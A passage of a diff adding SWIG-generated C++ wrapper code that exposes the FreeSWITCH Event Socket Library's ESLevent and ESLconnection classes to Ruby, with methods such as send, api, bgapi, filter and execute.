+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_delHeader(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","delHeader", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","delHeader", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (bool)(arg1)->delHeader((char const *)arg2);
+  vresult = SWIG_From_bool(static_cast< bool >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_firstHeader(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","firstHeader", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->firstHeader();
+  vresult = SWIG_FromCharPtr((const char *)result);
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_nextHeader(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","nextHeader", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->nextHeader();
+  vresult = SWIG_FromCharPtr((const char *)result);
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+swig_class cESLconnection;
+
+SWIGINTERN VALUE
+_wrap_new_ESLconnection__SWIG_0(int argc, VALUE *argv, VALUE self) {
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLconnection *result = 0 ;
+  int res1 ;
+  char *buf1 = 0 ;
+  int alloc1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  
+  if ((argc < 3) || (argc > 3)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 3)",argc); SWIG_fail;
+  }
+  res1 = SWIG_AsCharPtrAndSize(argv[0], &buf1, NULL, &alloc1);
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "char const *","ESLconnection", 1, argv[0] ));
+  }
+  arg1 = reinterpret_cast< char * >(buf1);
+  res2 = SWIG_AsCharPtrAndSize(argv[1], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","ESLconnection", 2, argv[1] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(argv[2], &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","ESLconnection", 3, argv[2] ));
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (ESLconnection *)new ESLconnection((char const *)arg1,(char const *)arg2,(char const *)arg3);DATA_PTR(self) = result;
+  
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return self;
+fail:
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return Qnil;
+}
+
+
+#ifdef HAVE_RB_DEFINE_ALLOC_FUNC
+SWIGINTERN VALUE
+_wrap_ESLconnection_allocate(VALUE self) {
+#else
+  SWIGINTERN VALUE
+  _wrap_ESLconnection_allocate(int argc, VALUE *argv, VALUE self) {
+#endif
+    
+    
+    VALUE vresult = SWIG_NewClassInstance(self, SWIGTYPE_p_ESLconnection);
+#ifndef HAVE_RB_DEFINE_ALLOC_FUNC
+    rb_obj_call_init(vresult, argc, argv);
+#endif
+    return vresult;
+  }
+  
+
+SWIGINTERN VALUE
+_wrap_new_ESLconnection__SWIG_1(int argc, VALUE *argv, VALUE self) {
+  int arg1 ;
+  ESLconnection *result = 0 ;
+  int val1 ;
+  int ecode1 = 0 ;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  ecode1 = SWIG_AsVal_int(argv[0], &val1);
+  if (!SWIG_IsOK(ecode1)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode1), Ruby_Format_TypeError( "", "int","ESLconnection", 1, argv[0] ));
+  } 
+  arg1 = static_cast< int >(val1);
+  result = (ESLconnection *)new ESLconnection(arg1);DATA_PTR(self) = result;
+  
+  return self;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE _wrap_new_ESLconnection(int nargs, VALUE *args, VALUE self) {
+  int argc;
+  VALUE argv[3];
+  int ii;
+  
+  argc = nargs;
+  if (argc > 3) SWIG_fail;
+  for (ii = 0; (ii < argc); ++ii) {
+    argv[ii] = args[ii];
+  }
+  if (argc == 1) {
+    int _v;
+    {
+      int res = SWIG_AsVal_int(argv[0], NULL);
+      _v = SWIG_CheckState(res);
+    }
+    if (_v) {
+      return _wrap_new_ESLconnection__SWIG_1(nargs, args, self);
+    }
+  }
+  if (argc == 3) {
+    int _v;
+    int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      int res = SWIG_AsCharPtrAndSize(argv[1], 0, NULL, 0);
+      _v = SWIG_CheckState(res);
+      if (_v) {
+        int res = SWIG_AsCharPtrAndSize(argv[2], 0, NULL, 0);
+        _v = SWIG_CheckState(res);
+        if (_v) {
+          return _wrap_new_ESLconnection__SWIG_0(nargs, args, self);
+        }
+      }
+    }
+  }
+  
+fail:
+  Ruby_Format_OverloadedError( argc, 3, "ESLconnection.new", 
+    "    ESLconnection.new(char const *host, char const *port, char const *password)\n"
+    "    ESLconnection.new(int socket)\n");
+  
+  return Qnil;
+}
+
+
+SWIGINTERN void
+free_ESLconnection(ESLconnection *arg1) {
+    delete arg1;
+}
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_socketDescriptor(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","socketDescriptor", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (int)(arg1)->socketDescriptor();
+  vresult = SWIG_From_int(static_cast< int >(result));
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_connected(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","connected", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (int)(arg1)->connected();
+  vresult = SWIG_From_int(static_cast< int >(result));
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_getInfo(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","getInfo", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (ESLevent *)(arg1)->getInfo();
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_send(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","send", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","send", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (int)(arg1)->send((char const *)arg2);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_sendRecv(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","sendRecv", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","sendRecv", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (ESLevent *)(arg1)->sendRecv((char const *)arg2);
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_api(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 2)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","api", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","api", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (argc > 1) {
+    res3 = SWIG_AsCharPtrAndSize(argv[1], &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","api", 3, argv[1] ));
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  result = (ESLevent *)(arg1)->api((char const *)arg2,(char const *)arg3);
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_bgapi(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 2)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","bgapi", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","bgapi", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (argc > 1) {
+    res3 = SWIG_AsCharPtrAndSize(argv[1], &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","bgapi", 3, argv[1] ));
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  result = (ESLevent *)(arg1)->bgapi((char const *)arg2,(char const *)arg3);
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_sendEvent(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *arg2 = (ESLevent *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  void *argp2 = 0 ;
+  int res2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","sendEvent", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_ConvertPtr(argv[0], &argp2,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "ESLevent *","sendEvent", 2, argv[0] )); 
+  }
+  arg2 = reinterpret_cast< ESLevent * >(argp2);
+  result = (int)(arg1)->sendEvent(arg2);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_recvEvent(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","recvEvent", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (ESLevent *)(arg1)->recvEvent();
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_recvEventTimed(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int arg2 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int val2 ;
+  int ecode2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","recvEventTimed", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  ecode2 = SWIG_AsVal_int(argv[0], &val2);
+  if (!SWIG_IsOK(ecode2)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode2), Ruby_Format_TypeError( "", "int","recvEventTimed", 2, argv[0] ));
+  } 
+  arg2 = static_cast< int >(val2);
+  result = (ESLevent *)(arg1)->recvEventTimed(arg2);
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_filter(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 2) || (argc > 2)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 2)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","filter", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","filter", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(argv[1], &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","filter", 3, argv[1] ));
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (ESLevent *)(arg1)->filter((char const *)arg2,(char const *)arg3);
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_events(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 2) || (argc > 2)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 2)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","events", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","events", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(argv[1], &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","events", 3, argv[1] ));
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (int)(arg1)->events((char const *)arg2,(char const *)arg3);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_execute(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  int res4 ;
+  char *buf4 = 0 ;
+  int alloc4 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 3)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","execute", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","execute", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (argc > 1) {
+    res3 = SWIG_AsCharPtrAndSize(argv[1], &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","execute", 3, argv[1] ));
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  if (argc > 2) {
+    res4 = SWIG_AsCharPtrAndSize(argv[2], &buf4, NULL, &alloc4);
+    if (!SWIG_IsOK(res4)) {
+      SWIG_exception_fail(SWIG_ArgError(res4), Ruby_Format_TypeError( "", "char const *","execute", 4, argv[2] ));
+    }
+    arg4 = reinterpret_cast< char * >(buf4);
+  }
+  result = (int)(arg1)->execute((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_executeAsync(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  int res4 ;
+  char *buf4 = 0 ;
+  int alloc4 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 3)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
